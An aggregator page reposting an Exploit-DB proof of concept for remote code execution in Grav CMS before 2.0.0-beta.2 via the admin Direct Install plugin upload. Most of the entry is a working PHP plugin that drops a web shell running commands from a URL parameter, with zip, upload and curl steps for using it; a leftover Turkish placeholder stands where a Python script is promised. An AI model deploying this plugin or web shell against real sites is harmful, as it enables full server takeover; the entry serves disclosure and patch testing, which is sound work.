惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

MongoDB | Blog
MongoDB | Blog
大猫的无限游戏
大猫的无限游戏
H
Help Net Security
V
Visual Studio Blog
G
Google Developers Blog
Blog — PlanetScale
Blog — PlanetScale
Last Week in AI
Last Week in AI
C
Check Point Blog
D
Docker
M
MIT News - Artificial intelligence
P
Proofpoint News Feed
博客园 - 叶小钗
博客园 - 聂微东
The Cloudflare Blog
云风的 BLOG
云风的 BLOG
Martin Fowler
Martin Fowler
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
酷 壳 – CoolShell
酷 壳 – CoolShell
MyScale Blog
MyScale Blog
WordPress大学
WordPress大学
Engineering at Meta
Engineering at Meta
腾讯CDC
S
SegmentFault 最新的问题
博客园 - 【当耐特】

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
Mustafa Murat Akgül · 2026-05-26 · via Exploit-DB.com RSS Feed
# Exploit Title: Grav CMS < 2.0.0-beta.2 - Remote Code Execution (RCE) 
# Date: 2026-05-08
# Exploit Author: Mustafa Murat Akgül
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav
# Version: < 2.0.0-beta.2
# CVE: CVE-2026-42607 / GHSA-w48r-jppp-rcfw
# Tested on: Linux/Ubuntu (Grav Admin Plugin Enabled)

Technical Details:
The Grav CMS "Direct Install" feature in the Admin plugin allows administrators 
to upload plugins as ZIP files. The system failed to adequately validate the 
contents of the ZIP archive or prevent path traversal (Zip Slip) during extraction. 
By crafting a malicious plugin that hooks into Grav events (e.g., onPluginsInitialized), 
an attacker can execute arbitrary PHP code or drop a persistent web shell on the root directory.

Proof of Concept (PoC):

1. Create a malicious plugin structure:
   - shellplugin/blueprints.yaml
   - shellplugin/shellplugin.yaml
   - shellplugin/shellplugin.php (Payload below)

--- shellplugin.php ---
<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;

class ShellpluginPlugin extends Plugin {
    public static function getSubscribedEvents(): array {
        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
    }
    public function onPluginsInitialized(): void {
        $shell_path = GRAV_ROOT . '/shell.php';
        if (!file_exists($shell_path)) {
            file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
        }
    }
}
----------------------

2. Compress the directory:
   $ zip -r shellplugin.zip shellplugin/

3. Log in to the Grav Admin panel and navigate to:
   /admin/tools/direct-install

4. Upload the 'shellplugin.zip' file.

5. Once installed, the plugin triggers on the next request to the site, 
   dropping a shell at the root.

6. Access your shell:
   curl "http://<target>/shell.php?cmd=id"

Exploit Script (Python):
[Buraya yukarıda paylaştığın Python scriptini ekleyebilirsin]

Impact:
Full system-level access under the context of the web server user. An attacker 
with administrative privileges (or via CSRF) can compromise the entire server.